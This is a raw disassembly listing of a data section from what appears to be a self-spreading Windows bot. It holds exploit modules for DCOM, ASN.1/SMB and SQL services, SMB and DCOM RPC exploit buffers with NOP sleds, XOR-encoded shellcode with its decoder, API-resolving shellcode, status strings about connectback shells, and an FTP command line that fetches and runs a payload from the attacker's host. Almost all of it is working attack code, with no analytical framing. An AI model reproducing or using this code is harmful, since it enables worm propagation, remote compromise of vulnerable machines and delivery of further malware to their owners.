6Ah, 0 ; DATA XREF: sub_4093EB+C2o dd 7E8h db 0, 0Fh, 84h dword_43EFB3 dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; CloseHandle add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dword_43EFE4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_409720+10o dword_43EFF8 dd 202E6425h, 7325haSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4098EB+35o align 4 aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_4098EB+51o align 10h aDcom2135 db 'dcom2-135',0 ; DATA XREF: sub_409DF2+4Fo ; sub_40A84F+155o aDcom2135_0 db 'Dcom2-135',0 ; DATA XREF: sub_409D2C+30o ; sub_40C16C+243o ... dd 5 dup(0) dword_43F068 dd 87h ; sub_401C87+19B1o ... off_43F06C dd offset sub_40C16C ; DATA XREF: sub_40A84F+1D7r dword_43F070 dd 0 ; .data:0040BB89r ... dword_43F074 dd 1 dword_43F078 dd 0 dword_43F07C dd 0 dd 6D6F6364h, 34342D32h, 63440035h, 2D326D6Fh, 353434h dd 5 dup(0) dd 1BDh, 40C16Ch, 0 dd 1, 2 dup(0) dd 2D6C7173h, 33333431h, 71730000h, 34312D6Ch, 3333h, 5 dup(0) dd 599h, 40C414h, 0 dd 1, 2 dup(0) aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40B9EBh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40B9EBh, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) dd 2D6C7173h, 33333431h db 2 dup(0) byte_43F1CA db 1 ; DATA XREF: sub_401C87:loc_403588r ; sub_401C87+190Bo aAsn445_0 db 'asn445',0 align 4 dd 63640100h, 2D326D6Fh, 353434h, 1, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_43F202 ; =============== S U B R O U T I N E ======================================= sub_43F1F2 proc near ; CODE XREF: sub_43F1F2:loc_43F202p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43F1FA: ; CODE XREF: sub_43F1F2+Cj xor byte ptr [edx+ecx], 99h loop loc_43F1FA jmp short loc_43F207 ; --------------------------------------------------------------------------- loc_43F202: ; CODE XREF: .data:0043F1F0j call sub_43F1F2 loc_43F207: ; CODE XREF: sub_43F1F2+Ej jo short near ptr dword_43F184+1Eh cwde cdq cdq retn sub_43F1F2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h unk_43F370 db 2Dh ; - ; DATA XREF: sub_409B9F+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 dword_43F390 dd 25370320h, 203A0373h, 2C6425haTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_409B9F+85o align 10h unk_43F3B0 db 2Dh ; - ; DATA XREF: sub_409C6D+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43F3F8 db 2Dh ; - ; DATA XREF: sub_409CD8+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 dword_43F424 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_409D2C+14o dd 7473694Ch, 3Ah dword_43F440 dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_409D2C+7Eo unk_43F460 db 2Dh ; - ; DATA XREF: sub_409DF2+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 10h unk_43F490 db 2Dh ; - ; DATA XREF: sub_409DF2+16Fo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_43F4C4 db 2Dh ; - ; DATA XREF: sub_409FA4+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_43F4E0 db 2Dh ; - ; DATA XREF: sub_409FA4+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 10h unk_43F500 db 2Dh ; - ; DATA XREF: sub_40A01B+D7o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_43F534 db 2Dh ; - ; DATA XREF: sub_40A01B+137o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_19 db ' Failed to start server, error: <%d>.',0 align 4 unk_43F568 db 2Dh ; - ; DATA XREF: sub_40A01B+1FFo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_2 db 'Server started on Port: %d, File: %s.',0 align 4 unk_43F59C db 2Dh ; - ; DATA XREF: sub_40A01B+25Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_20 db 'Failed to start server, error: <%d>.',0 align 10h unk_43F5D0 db 2Dh ; - ; DATA XREF: sub_40A01B+326o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_3 db '- Server started on Port: %d.',0 align 10h unk_43F600 db 2Dh ; - ; DATA XREF: sub_40A01B+386o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_21 db '- Failed to start server, error: <%d>.',0 unk_43F638 db 2Dh ; - ; DATA XREF: sub_40A01B+440o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_43F674 db 2Dh ; - ; DATA XREF: sub_40A01B+4C5o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_22 db ' Failed to start server, error: <%d>.',0 align 4 aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A547+38o aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .data:0040A775o align 4 aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .data:0040A7ACo aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .data:0040A819o align 10h aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .data:loc_40A829o align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .data:loc_40A83Do align 4 unk_43F72C db 2Dh ; - ; DATA XREF: sub_40A84F+84o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_43F764 db 2Dh ; - ; DATA XREF: sub_40A84F+DCo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_43F78C db 2Dh ; - ; DATA XREF: sub_40AA63+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 10h unk_43F7C0 db 2Dh ; - ; DATA XREF: sub_40AA63+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_43F7F4 db 2Dh ; - ; DATA XREF: sub_40AA63+168o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_43F82C db 2Dh ; - ; DATA XREF: sub_40AA63+1E0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_43F86C db 2Dh ; - ; DATA XREF: sub_40ACBA+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_43F894 db 2Dh ; - ; DATA XREF: sub_40AD87+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 unk_43F8BC db 2Dh ; - ; DATA XREF: sub_40AE78+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 unk_43F8E8 db 2Dh ; - ; DATA XREF: sub_40AE78+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 8 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40B21F+B2o align 4 dword_43F924 dd 10FF8h, 0 dword_43F92C dd 10FF8h dword_43F930 dd 7FFDF020h, 0 dword_43F938 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_43F9C0 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_43F9F0 dd 0 dd 800000D4h, 2 dup(0) unk_43FA00 db 81h ; ; DATA XREF: sub_40B718+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_43FA50 db 41h ; DATA XREF: sub_40B7B6+FFr aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 ; =============== S U B R O U T I N E ======================================= sub_43FA98 proc near ; DATA XREF: .data:0040BA6Do push ebx push esi push edi sub sp, 80h mov esi, esp call sub_43FB94 push dword ptr [esi] push 63D61209h call sub_43FBAA mov [esi+8], eax call sub_43FB5D push dword ptr [esi+4] push 0CA2BD06Bh call sub_43FBAA mov [esi+0Ch], eax call sub_43FB0F push dword ptr [esi+4] push 4C0297FAh call sub_43FBAA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_43FA98 endp ; =============== S U B R O U T I N E ======================================= sub_43FB0F proc near ; CODE XREF: sub_43FA98+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_43FB38 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43FB0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43FB38 proc near ; CODE XREF: sub_43FB0F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43FB47: ; CODE XREF: sub_43FB38+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_43FB54 inc ebx jmp short loc_43FB47 ; --------------------------------------------------------------------------- loc_43FB54: ; CODE XREF: sub_43FB38+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_43FB38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43FB5D proc near ; CODE XREF: sub_43FA98+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_43FB75: ; CODE XREF: sub_43FB5D+1Ej cmp [ecx], ebx jz short loc_43FB7D mov ecx, [ecx] jmp short loc_43FB75 ; --------------------------------------------------------------------------- loc_43FB7D: ; CODE XREF: sub_43FB5D+1Aj mov edx, edi loc_43FB7F: ; CODE XREF: sub_43FB5D+2Aj cmp [edx+4], ebx jz short loc_43FB89 mov edx, [edx+4] jmp short loc_43FB7F ; --------------------------------------------------------------------------- loc_43FB89: ; CODE XREF: sub_43FB5D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43FB5D endp ; =============== S U B R O U T I N E ======================================= sub_43FB94 proc near ; CODE XREF: sub_43FA98+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43FB94 endp ; =============== S U B R O U T I N E ======================================= sub_43FBAA proc near ; CODE XREF: sub_43FA98+16p ; sub_43FA98+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_43FBC0: ; CODE XREF: sub_43FBAA+33j jecxz short loc_43FBFA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_43FBCD: ; CODE XREF: sub_43FBAA+2Dj lodsb cmp al, ah jz short loc_43FBD9 ror edi, 0Dh add edi, eax jmp short loc_43FBCD ; --------------------------------------------------------------------------- loc_43FBD9: ; CODE XREF: sub_43FBAA+26j cmp edi, [esp+20h+arg_0] jnz short loc_43FBC0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_43FBFA: ; CODE XREF: sub_43FBAA:loc_43FBC0j ; sub_43FBAA:loc_43FBFAj jmp short loc_43FBFA sub_43FBAA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43FC00 proc near ; DATA XREF: .data:0040BA1Bo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_43FC52 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43FC1D: ; CODE XREF: sub_43FC00+38j jecxz short loc_43FC4D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_43FC28: ; CODE XREF: sub_43FC00+32j lodsb test al, al jz short loc_43FC34 ror edx, 0Dh add edx, eax jmp short loc_43FC28 ; --------------------------------------------------------------------------- loc_43FC34: ; CODE XREF: sub_43FC00+2Bj cmp edx, [esp+arg_0] jnz short loc_43FC1D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43FC4D: ; CODE XREF: sub_43FC00:loc_43FC1Dj mov [esp+arg_0], ebx retn sub_43FC00 endp ; =============== S U B R O U T I N E ======================================= sub_43FC52 proc near ; CODE XREF: sub_43FC00+7p ; FUNCTION CHUNK AT 0043FC8A SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43FC6B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_43FC76 ; --------------------------------------------------------------------------- loc_43FC6B: ; CODE XREF: sub_43FC52+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_43FC76: ; CODE XREF: sub_43FC52+14j pop edi xor esi, esi pusha push esi jmp short loc_43FC8A sub_43FC52 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43FC7D proc near ; CODE XREF: sub_43FC52:loc_43FC8Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43FC7D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FC52 loc_43FC8A: ; CODE XREF: sub_43FC52+29j call sub_43FC7D loc_43FC8F: ; DATA XREF: sub_40B1C4+1Bo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_43FC52 ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_43FC94: ; DATA XREF: sub_40B21F+E8o jmp short near ptr dword_43FC9C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_43FC9C dd 0 aCccc db 'CCCC',0 ; DATA XREF: sub_40B21F+153o align 4 dword_43FCA8 dd 3 byte_43FCAC db 0A1h, 0 ; DATA XREF: sub_40B21F+29Fo word_43FCAE dw 30h ; DATA XREF: sub_40B21F+2CAo dword_43FCB0 dd 62B0606h, 2050501haA_1: ; DATA XREF: sub_40B21F+320o unicode 0, < `>,0 align 10h aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .data:0040BA42o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 aS_13: ; DATA XREF: sub_40C16C+ACo unicode 0, <è>,0 dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h dd 5EE7572h, 8, 9090E0FFh, 3Fh dup(90909090h), 9090h, 0 dword_43FE50 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset loc_430058+4 a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 8 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 3 dup(0) a127_0_0_1Ipc: ; DATA XREF: sub_40C16C+CBo unicode 0, <127.0.0.1\IPC$\> ; --------------------------------------------------------------------------- inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_4402B4: ; CODE XREF: .data:004404BCj inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp loc_440487: ; CODE XREF: .data:loc_4404EFj inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp jmp loc_4402B4 ; --------------------------------------------------------------------------- db 3 dup(45h) ; --------------------------------------------------------------------------- inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp inc ebp 